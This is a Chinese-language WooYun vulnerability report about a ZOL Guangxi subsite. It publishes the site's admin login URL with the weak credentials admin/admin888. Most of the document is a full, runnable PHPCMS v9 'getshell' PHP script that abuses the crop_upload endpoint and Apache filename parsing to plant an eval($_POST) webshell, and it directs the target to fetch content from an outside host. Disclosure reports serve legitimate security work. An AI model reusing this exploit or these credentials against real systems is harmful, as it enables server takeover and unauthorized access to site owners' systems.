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缺陷编号:wooyun-2015-090967

漏洞标题:ZOL某分站后台弱口令及PHPCMS版本漏洞(已GetShell)

相关厂商:中关村在线

漏洞作者: 路人甲

提交时间:2015-01-10 22:13

修复时间:2015-01-15 22:14

公开时间:2015-01-15 22:14

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-01-10: 细节已通知厂商并且等待厂商处理中
2015-01-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

zol广西分站存在后台弱口令以及phpcmsV9文件上传漏洞,导致服务器沦陷
1、弱口令
http://gxzol.com/index.php?m=admin&c=index&a=login&pc_hash=
admin/admin888

1.jpg


2、phpcmsV9 getshell
原理见 WooYun: PHPCMS v9 Getshell(Apache)

<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="ln";
print_r('
+---------------------------------------------------------------------------+
PHPCms V9 GETSHELL 0DAY
code by L.N.
apache 适用(利用的apache的解析漏洞)
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url path
Example:
1.php '.$argv[0].' lanu.sinaapp.com
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
+---------------------------------------------------------------------------+
');
exit;
}
$url = $argv[1];
$path = $argv[2];
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if($ret=Create_dir($url,$path))
{
//echo $ret;
$pattern = "|Server:[^,]+?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
if(strpos($matches[0][0],'Apache') == false)
{
echo "\n亲!此网站不是apache的网站。\n";exit;
}
}
$ret = GetShell($url,$phpshell,$path,$file);
$pattern = "|http:\/\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
echo "\r\n没得到!\n";exit;
}
}
}
function GetShell($url,$shell,$path,$js)
{
$content =$shell;
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
else
{
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
}
function Create_dir($url,$path='')
{
$content ='I love you';
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
?>

漏洞证明:

1.jpg


2.jpg


3.jpg


修复方案:

改密码/升级

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-15 22:14

厂商回复:

最新状态:

暂无


漏洞评价:

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